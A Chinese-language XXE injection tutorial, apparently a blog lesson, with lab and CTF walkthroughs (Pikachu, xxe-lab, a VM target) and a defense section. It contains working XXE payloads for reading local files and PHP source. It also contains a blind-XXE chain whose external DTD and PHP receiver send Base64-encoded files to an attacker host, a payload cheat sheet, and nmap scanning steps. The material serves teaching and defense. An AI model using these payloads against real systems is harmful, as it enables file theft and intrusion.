XXE 漏洞 — 当 XML 解析器帮你偷文件
SQL 注入是对数据库下手,XSS 是往页面里塞 JS,SSRF 是让服务器当跳板。今天来一个冷门但杀伤力极大的:XXE(XML 外部实体注入)。它不需要花里胡哨的技巧,只需要几行 XML,就能让服务器乖乖把内部文件读给你看。从原理到两次 Base64 解密拿 Flag,一路通关。
课程概览
1. XML 基础:概念、与 HTML 的区别、实际应用
2. XXE 是什么?有哪些危害?
3. 有回显 XXE:直接读取文件
4. 无回显 XXE:盲打进带出的艺术
5. xxe-lab 靶场实战
6. 综合案例:虚拟机靶场通关拿 Flag
7. XXE 防御与修复
一、XML 基础快速复习
XXE 的本质是利用了 XML 解析器对外部实体的信任。所以学 XXE 之前,必须知道 XML 是什么。
1.1 XML 概念
XML 被设计为传输和存储数据,它把数据从 HTML 中分离出来,是独立于软件和硬件的信息传输工具。
一个标准的 XML 文档包含三部分:
XML 声明 → <?xml version="1.0"?>
DTD 定义 → <!DOCTYPE … > (可选,文档类型定义)
文档元素 → <root>实际数据</root>
1.2 XML vs HTML
| 设计目的 | 传输和存储数据 | 显示数据 |
| 关注焦点 | 数据的内容 | 数据的外观 |
| 标签 | 自定义标签 | 预定义标签 |
| 严格性 | 格式严格,错一点就报错 | 容错性强 |
一句话:HTML 用来展示,XML 用来传输。
1.3 XML 的实际应用
如果你做过 Java 开发,这些文件你一定见过:
| pom.xml | Maven 项目依赖配置 |
| web.xml | Java Web 应用的部署描述符 |
| mybatis/mapper.xml | MyBatis 数据库映射配置 |
这说明 XML 在企业应用中无处不在,也意味着 XXE 的攻击面非常广。
二、XXE 概念与危害
2.1 什么是 XXE?
XXE 全称 XML External Entity Injection,中文:XML 外部实体注入。
原理一句话:
应用程序解析 XML 时,没有禁止外部实体的加载,攻击者可以构造恶意的 XML 让解析器去读取本地文件、发起网络请求、探测内网端口等。
2.2 XXE 能造成哪些危害?
| 读取任意文件 | file:///etc/passwd 拿服务器用户列表 |
| 命令执行 | 配合特定环境执行系统命令 |
| 内网端口扫描 | 探测内网存活主机和开放端口 |
| 攻击内网网站 | 以服务器为跳板对内网发起攻击 |
| DoS 攻击 | 实体嵌套导致解析器资源耗尽 |
⚠️ 需要 Apache >= 5.4 版本(部分 PHP 环境中 XXE 才有实际效果)。
2.3 案例:XXE 有回显读取文件
第一步:准备被读取的文件
在桌面建一个 1.txt,内容随意(比如 Hello World! 这是敏感数据),路径为:
C:\\Users\\Administrator\\Desktop\\1.txt
第二步:打开 Pikachu 靶场 XXE 页面
http://localhost/pikachu/vul/xxe/xxe_1.php
第三步:构造 XXE Payload
<?xml version = "1.0"?>
<!DOCTYPE any[
<!ENTITY xxe SYSTEM "file:///C://Users//Administrator//Desktop//1.txt">
]>
<foo>&xxe;</foo>
逐行拆解:
<?xml version="1.0"?> → XML 声明
<!DOCTYPE any[ → DTD 定义,any 是根元素名(随便写)
<!ENTITY xxe SYSTEM "file:///C://…1.txt"> → 定义外部实体 xxe,指向本地文件
]>
<foo>&xxe;</foo> → 在 <foo> 标签中引用实体 &xxe;
&xxe; 会被替换为 1.txt 文件的内容。注意实体名 xxe 随便写,a、abc、file 都行。
等价写法(实体名可以随便取)
<?xml version = "1.0"?>
<!DOCTYPE any[
<!ENTITY a SYSTEM "file:///C://Users//Administrator//Desktop//1.txt">
]>
<b>&a;</b>
更猛的操作:读取系统 hosts 文件
<?xml version = "1.0"?>
<!DOCTYPE any[
<!ENTITY a SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
]>
<b>&a;</b>
也可以定义内部实体(不读文件,纯测试)
<?xml version = "1.0"?>
<!DOCTYPE a[
<!ENTITY a "嘻嘻">
]>
<c>&a;</c>
提交后页面显示「嘻嘻」→ 说明 XML 解析器正常工作,XXE 测试环境确认无误!
2.4 案例:XXE 无回显(盲 XXE)— 外带数据
很多时候 XXE 没有回显——你读了文件但页面不显示内容。怎么办?把数据带出来。
基本原理
1. 目标服务器解析 XXE → 读取文件内容
2. 将文件内容编码后作为 URL 参数
3. 向攻击者的服务器发起 HTTP 请求
4. 攻击者的 get.php 接收并保存数据
环境准备:修改靶场让它无回显
修改 \\pikachu\\vul\\xxe\\xxe_1.php,去掉正常的回显,让它变成一个「无回显」页面。
三步走攻击
第一步:主攻击脚本(贴到 Pikachu 输入框)
<?xml version = "1.0"?>
<!DOCTYPE ANY[
<!ENTITY % dtd SYSTEM "http://192.168.220.135/vil.dtd">
%dtd;
]>
%dtd; 引用攻击者服务器上的外部 DTD 文件 vil.dtd。
第二步:在攻击者虚拟机(Win10)上创建 vil.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C://Users//Administrator//Desktop//1.txt">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.220.135/get.php?file=%file;'>">
%all;
%send;
逐步拆解:
<!ENTITY % file SYSTEM "php://filter/…">
→ 定义参数实体 %file,读取目标文件并 Base64 编码
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://…?file=%file;'>">
→ 利用 %file 的值构造一个动态的 %send 实体
→ %send 就是向攻击者服务器发送 HTTP 请求,URL 参数中附带文件内容
%all; → 执行 %all → 动态生成 %send 实体
%send; → 执行 %send → 向攻击者服务器发起带数据的请求
第三步:在攻击者虚拟机上创建 get.php
<?php
$data = $_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>
攻击完成!访问 http://192.168.220.135/file.txt → 看到 Base64 编码的文件内容 → 解码 → 原始文件到手!
2.5 无回显 XXE 的三个关键疑问
Q1:为什么需要嵌套 %all 这一层?
<!– 下面这种写法会报错! –>
<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/…">
<!ENTITY % send SYSTEM 'http://127.0.0.1/get.php?file=%file'>
%send;
]>
XML 解析器不会解析同一层级的参数实体。必须把 %send 的定义放到 %all 里面,由 %all 去动态生成 %send,才能让 %file 的值被正确替换进去。
Q2:为什么必须引用外部 DTD 文件?
在 DTD 内部子集中,不允许在标记声明中引用参数实体。必须使用外部 DTD(即单独的 .dtd 文件)来绕过这个限制。
<!– 必须这样,引用外部文件 –>
<!DOCTYPE ANY [
<!ENTITY % dtd SYSTEM "http://攻击者IP/vil.dtd">
%dtd;
]>
Q3:% 是什么?
% 是 % 号的 HTML 实体编码。直接写 % 在实体内部会被解析器误以为是参数实体声明符,所以用 % 替代,等解析时再转回 %。
三、靶场实战:xxe-lab
3.1 环境
http://localhost/xxe/
3.2 登录并拦截
3.3 验证 XXE 漏洞
在 Repeater 中将请求体替换为:
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "file:///C://Users//Administrator//Desktop//1.txt">
]>
<user><username>
&file;
</username><password>12313</password></user>
返回了 1.txt 的内容 → XXE 漏洞确认!
3.4 获取用户名密码
但我们不知道后台的验证逻辑,如何拿到真正的用户名密码?直接读取登录处理的 PHP 源码!
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
]>
<user><username>
&file;
</username><password>12313</password></user>
关键技术:
php://filter/read=convert.base64-encode/resource=文件路径
PHP 的 php://filter 伪协议能读取文件并以 Base64 编码返回。不直接用 file:// 的原因:如果文件是 PHP 代码,PHP 解析器会执行它而不是输出源码,用 Base64 编码就能绕过执行,拿到原始代码。
解密: 访问 https://base64.us/ 将返回的 Base64 解码 → 得到 doLogin.php 的源码 → 源码中硬编码了用户名和密码!
用拿到的账号密码登录 → 登录成功!
四、综合案例:虚拟机靶场通关
这是一个模拟真实攻防的复杂靶场,需要经过端口扫描 → 目录扫描 → XXE 探测 → 多步读取 → 两次解密才能拿到 Flag。
4.1 环境安装
4.2 端口扫描 — 定位目标
在 Kali 中扫描 NAT 网段:
sudo su root
nmap 192.168.220.1/24
发现 192.168.220.136 开放了 80 端口 → 这就是目标!
访问 http://192.168.220.136 → 看到 Web 页面。
4.3 目录扫描
# 用 nmap 脚本扫描
nmap -sV 192.168.220.136 –script default
发现关键路径:
http://192.168.220.136/robots.txt ← 信息泄露!
http://192.168.220.136/xxe/ ← XXE 功能点!
4.4 XXE 漏洞探测
访问 http://192.168.220.136/xxe/ → 登录页面,用 BP 拦截 → XML 格式 → XXE 攻击点!
第一步:读取 xxe.php 源码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<root><name>
&file;
</name><password>123213</password></root>
Base64 解码后得到:
<?php
libxml_disable_entity_loader (false); // 未禁止外部实体!漏洞根源
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$info = simplexml_import_dom($dom);
$name = $info->name;
$password = $info->password;
echo "Sorry, this $name not available!"; // 永远显示错误,但能被 XXE 截胡!
?>
发现这个页面无论输入什么都返回错误 — 但这不重要,XXE 能读取它背后的文件!
第二步:读取 admin.php 获取后台密码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>
&file;
</name><password>123213</password></root>
Base64 解码后得到 admin.php 源码,从中提取出:
用户名:administhebest
密码: admin@123(经过 MD5 解密 → https://cmd5.com/)
第三步:登录后台
访问 http://192.168.220.136/xxe/admin.php → 输入上面拿到的用户名密码 → 登录成功!
页面提示 Flag 在某个地方,但直接访问该链接发现「不容许访问」→ 继续用 XXE 读!
第四步:读取 flagmeout.php
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=flagmeout.php">
]>
<root><name>
&file;
</name><password>123213</password></root>
Base64 解码后得到:
<?php
$flag = "<!– the flag in (JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5) –>";
echo $flag;
?>
Flag 经过了两层编码!
第五步:两次解密密文
密文: JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5
第一次解密 — Base32:
JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5 → (Base32 解码) → L2V0Yy8uZmxhZy5waHA=
Base32 解码工具:https://www.bejson.com/encrypt/base32/
第二次解密 — Base64:
L2V0Yy8uZmxhZy5waHA= → (Base64 解码) → /etc/.flag.php
隐藏文件 .flag.php 在 /etc/ 目录下!文件名前的 . 表示 Linux 隐藏文件。
第六步:读取最终的 Flag
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>
&file;
</name><password>123213</password></root>
Base64 解码 → 得到一段混淆的 PHP 代码 → 使用在线 PHP 代码执行工具运行:
- https://code.y444.cn/
- https://www.toolnb.com/dev/runCode.html
🎉 输出内容:{xxe_is_so_easy} — Flag 到手!
综合案例通关路线图
nmap 扫端口 → 找到 192.168.220.136:80
↓
目录 / 文件扫描 → 发现 robots.txt + /xxe/ 登录页
↓
BP 拦截 XXE 登录请求 → 验证 XML 解析 XXE
↓
读取 xxe.php → 确认漏洞 + 了解代码逻辑
↓
读取 admin.php → 拿到 admin@123(MD5 解密)
↓
登录后台 → 发现 flagmeout.php 链接不容许访问
↓
读取 flagmeout.php → 拿到 Base32 密文
↓
Base32 → Base64 两次解密 → /etc/.flag.php
↓
读取 /etc/.flag.php → 混淆 PHP 代码
↓
在线运行 PHP 代码 → 🎯 {xxe_is_so_easy}
五、XXE 漏洞防御
防御方法:禁止外部实体
在 xxe.php 中修改代码:
// XXE 漏洞防御
// 禁止外部实体 — libxml_disable_entity_loader 必须为 true
libxml_disable_entity_loader(true);
验证修复效果
再次对 http://localhost/xxe/ 发起 XXE 攻击:
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
]>
<user><username>
&file;
</username><password>12313</password></user>
无法读取文件内容 → XXE 漏洞已被修复!
防御总结
| 禁用外部实体 | libxml_disable_entity_loader(true) |
| 过滤 XML 输入 | 过滤 DOCTYPE、ENTITY、SYSTEM 等关键字 |
| 使用白名单协议 | 仅允许安全的协议,拒绝 file://、ftp:// 等 |
| 升级 XML 解析器 | 使用默认禁用外部实体加载的新版解析器 |
| WAF 拦截 | 开 WAF 检测 XXE 攻击特征 |
六、XXE Payload 速查表
| 有回显读文件 | <!ENTITY xxe SYSTEM "file:///path/to/file"> |
| 读 PHP 源码 | <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxx.php"> |
| 无回显外带 | <!ENTITY % dtd SYSTEM "http://攻击者IP/vil.dtd"> %dtd; |
| 内网探测 | <!ENTITY xxe SYSTEM "http://192.168.1.1:80"> |
| DoS 攻击 | 递归实体嵌套 <!ENTITY a "&b;&b;&b;&b;&b;…"> |
七、课后作业
综合案例:对虚拟机靶场进行完整 XXE 攻击,拿到最终 Flag {xxe_is_so_easy}。
写在最后: XXE 是一个看似冷门但杀伤力极大的漏洞——只需几行 XML,就能让服务器把内部文件拱手送上。很多开发者以为 XML 只是数据格式,没意识到它能加载外部实体,从而埋下大雷。搞定 XXE,你的漏洞挖掘武器库又多了件神兵利器。下一课见!
网硕互联帮助中心



评论前必须登录!
注册